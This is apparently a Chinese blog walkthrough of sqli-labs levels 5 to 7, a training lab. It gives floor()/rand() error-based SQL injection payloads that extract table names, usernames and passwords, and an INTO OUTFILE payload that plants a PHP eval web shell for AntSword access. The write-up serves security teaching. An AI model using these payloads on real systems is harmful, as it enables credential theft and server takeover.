本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!
Less-5
0x00
因为报错型盲注相比时间类型、布尔类型的盲注,要复杂一些,原理也它们复杂一些,所以我下面只展示通过floor()报错来达到注入的目的
首先根据题意我们输入参数id=1,和id=-1看看页面的回显情况
我们发现当它执行的SQL语句正确时,页面返回You are in,当sql语句执行不正确时,返回为空,且并没有回显位置,这就是我们所说的盲注,具体什么时盲注可以看我之前的文章基于布尔类型、时间类型的盲注
0x01
因为我们基于时间、布尔类型的盲注都已经做过,所以这道题我们就用报错型的盲注来解决这道题,再开始做题之前我们要知道几个函数
rand()函数用来产生0~1之间的随机数
floor()函数,用来向下取整,也就是取小于等于这个数的整数
floor(0.9)=0 floor(1.1)=1 floor(1.9)=1
与之对应的是ceiling函数,它是用来向上取整,也就是取大于等于这个数的整数
ceilling(0.9)=1 ceiling(1.3)=2 ceiling(1)=1
count()函数,用来返回符合指定条件的行数
GROUP BY 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。
0x01
我们先使用order by来猜解它的列数,发现有三列内容
0x02
接下来我们就可以用报错型注入,因为其返回的错误信息往往会带一些关键信息
下面算是一个关于floor()报错的公式
union select 1,count(*),concat_ws('~',[子查询语句],floor(rand(0)*2)) as a from [想要查找的表名] group by a --
0x03
我们首先通过报错信息来查看数据库的名称
id=1' union select 1,count(*),concat_ws('~',database(),floor(rand()*2)) as a from information_schema.tables group by a --
然后我们查看security数据库中有哪些表,根据上面的公式,我们的payload可以写成
?id=1' union select 1,count(*),concat_ws(':',(select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a --
因为我查了网上的payload那里都是用group_concat直接输出所有表名,但是我一用的话页面的回显永远都是You are in…所以我索性用limit 来限制输出一个一个来输出,结果是一样的
查看字段名称
id=1' union select 1,count(*),concat_ws('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as a from users group by a --
第九个、第十个是username 和 password
查字段值
payload同上,只需把子查询语句更改即可,因为我用group_concat语句,页面还是一直处于You are in …,所以我依然用limit 来限制
?id=1' union select 1,count(*),concat_ws('~',(select username from users limit 0,1),floor(rand(0)*2)) as a from users group by a --+
?id=1' union select 1,count(*),concat_ws('~',(select password from users limit 0,1),floor(rand(0)*2)) as a from users group by a --+
至此所有内容爆破完毕,接下来我们看一下floor报错的原理
0x04
通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
结论是:当与临时表里面的值进行比较,如果不同,就插入,但是插入的时候又计算了一次,所以如果插入时计算的值与直接比较的值不一样,则报错!
参考自:https://www.cnblogs.com/BloodZero/p/4660971.html
Less-6
Less-6是双引号注入,其完全和Less-5的注入方法payload一样,只要把Less-5里面的单引号换成双引号即可,这里就不在进行赘述了。
Less-7
0x00
从题目我们就知道这道题是考我们类似于文件上传的知识,有兴趣的同学可以去了解一下文件上传漏洞和一句话木马,话不多说直接上题
0x01
首先我们根据题意要求输入id=1,发现sql语句执行正确的时候的回显,以及$id这个变量周围的东西,我们可以根据sql语句实现注入
0x02
我们可以传递?id=1')) --
参数,通过闭合一个单引号和两个圆括号并且注释掉后面多余的语句。
我们可以看到页面回显正确,接下来操作就和我们Less-1学的联合查询一样了
0x03
当然这关可以按照上两关那样,因为这关相当于也算是一个盲注,正确和错误回显的页面不同,具体可以参考上两关。
当然这关作者是想让我们掌握关于sql函数中两个函数,以及文件上传和一句话木马的知识,那我们就按照作者的思路来解题。
0x04
介绍两个知识点
load_file()函数,这个函数可以访问本机上的文件,括号里面的参数是想要访问文件的相对路径或绝对路径
into outfile用来写文件,具体用法如下:
select ‘I love China’ into outfile ‘想要保存到的路径+文件名’
一句话木马:
我们只介绍php版本的,通过一句话木马,我们可以通过中国菜刀或者中国蚁剑来获取webshell从而可以访问本机的所有内容
<?php @eval($_POST["password"]);?>
0x04
我们接下来就通过文件上传来获得webshell
在这之前需要到MySQL下的my.ini增加secure_file_priv =
意思就是给予其读写文件的权限且不限制路径
?id=1')) union select 1,2,'<?php @eval($_POST["a"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\demo.php" --
这里用双斜杠是因为\有可能和其他字符组合起来转义成其他字符所以我们加双斜杠来转义\
我们看到文件夹里多了一个demo.php
接下来我们就要用中国蚁剑来进行连接,发现我们成功上传了一句话木马,且成功获得了它的webshell,这关我们也就到这里。
0x05
这关具体就不再做过多叙述,等到文件上传以后会详细进行讲解
如有问题请私聊博主